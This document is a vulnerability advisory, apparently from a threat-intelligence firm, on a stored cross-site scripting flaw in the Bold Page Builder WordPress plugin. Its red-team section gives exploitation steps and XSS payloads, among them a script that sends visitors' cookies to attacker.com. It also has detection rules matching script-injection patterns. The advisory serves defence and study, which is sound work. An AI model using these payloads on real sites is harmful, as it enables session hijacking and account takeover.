CVE-2025-3715

Executive Summary

CVE-2025-3715 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.3.5. The flaw resides in the data-text parameter, where insufficient input sanitization and output escaping allow authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used page builder plugin, and the attack surface is broadened by the Contributor role’s ability to create and edit pages. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the high impact of stored XSS in a multi-user CMS environment.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. While no direct supply chain compromise is indicated, the lack of a patch at the time of analysis means that all sites using Bold Page Builder ≤ 5.3.5 are at risk. Administrators should monitor the plugin’s update channel and consider temporary removal or disabling of the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP requests.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to submit a crafted payload.
• Privileges Required (PR): Low (L) – The attacker must have a Contributor-level account or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While authentication is required, the Contributor role is common in WordPress sites, and stored XSS can lead to privilege escalation or full site compromise if an administrator views the infected page.

Deep Dive & Mechanics

The vulnerability exists in the data-text parameter used by the Bold Page Builder plugin to store text content for page elements. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with Contributor-level access can craft a page or post containing a malicious data-text value, such as:

<div data-text="<script>alert('XSS')</script>">Content</div>

When the page is rendered, the plugin outputs the data-text value without escaping, causing the browser to interpret the injected script as executable code. The stored nature of the XSS means the payload persists in the database and executes for every visitor to the affected page.

The root cause is a missing call to WordPress’s esc_attr() or similar escaping function on the data-text attribute value. The plugin likely uses echo $data_text; instead of echo esc_attr($data_text);.

Vulnerable vs. Patched Code

Vulnerable Code (≤ 5.3.5):

// In a template or shortcode handler
$data_text = get_post_meta($post_id, '_bold_data_text', true);
echo '<div data-text="' . $data_text . '">Content</div>';

Patched Code (Hypothetical Fix):

$data_text = get_post_meta($post_id, '_bold_data_text', true);
echo '<div data-text="' . esc_attr($data_text) . '">Content</div>';

The patched version uses esc_attr() to HTML-encode special characters, preventing script injection. Additionally, input validation should be applied when saving the meta value to strip or encode dangerous characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Bold Page Builder ≤ 5.3.5 installed and activated.
• A user account with at least Contributor-level privileges.

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one.
3. In the page builder, locate a text element that uses the data-text attribute.
4. Inject a payload into the data-text field, e.g.:

   <img src=x onerror=alert(document.cookie)>
   

5. Save/publish the page.
6. When any user (including admins) visits the page, the script executes.

Example Payload for Session Hijacking:

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual data-text values in page/post meta fields.
• Look for Contributor accounts creating pages with suspicious content.
• Use WAF rules to block common XSS patterns in POST requests.

Prevention:

• Disable the Bold Page Builder plugin until a patch is applied.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bold-page-builder/ (entire plugin directory)
• Database: wp_postmeta entries with meta_key containing _bold_data_text and meta_value containing <script> or onerror patterns.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing page creation/editing by Contributor accounts with unusual content.

Detection Engineering

YARA Rule

rule CVE_2025_3715_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder data-text attribute"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3715"
    strings:
        $xss_payload = /data-text\s*=\s*"[^"]*<script[^>]*>/
        $xss_event = /data-text\s*=\s*"[^"]*on\w+\s*=\s*[^"]*/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3715 - Stored XSS via Bold Page Builder data-text
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Bold Page Builder plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=bold_page_builder_save'
        http.body|contains: 'data-text'
        http.body|re: '<script|on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3715 - Bold Page Builder Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bold_page_builder_save"; http_client_body; pcre:"/data-text\s*=\s*\"[^\"]*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove Bold Page Builder until a patched version is released.
2. Audit existing content – Scan all pages and posts for malicious data-text values using the YARA rule above.
3. Review user roles – Temporarily downgrade Contributor accounts to Subscriber if possible.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Implement input validation and output escaping for all user-supplied data in custom plugins.
• Use WordPress’s built-in wp_kses() and esc_attr() functions.

Workaround:

• Add a WAF rule to block requests containing data-text with script tags.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Valters IT – DevSecOps & Cyber Threat Intelligence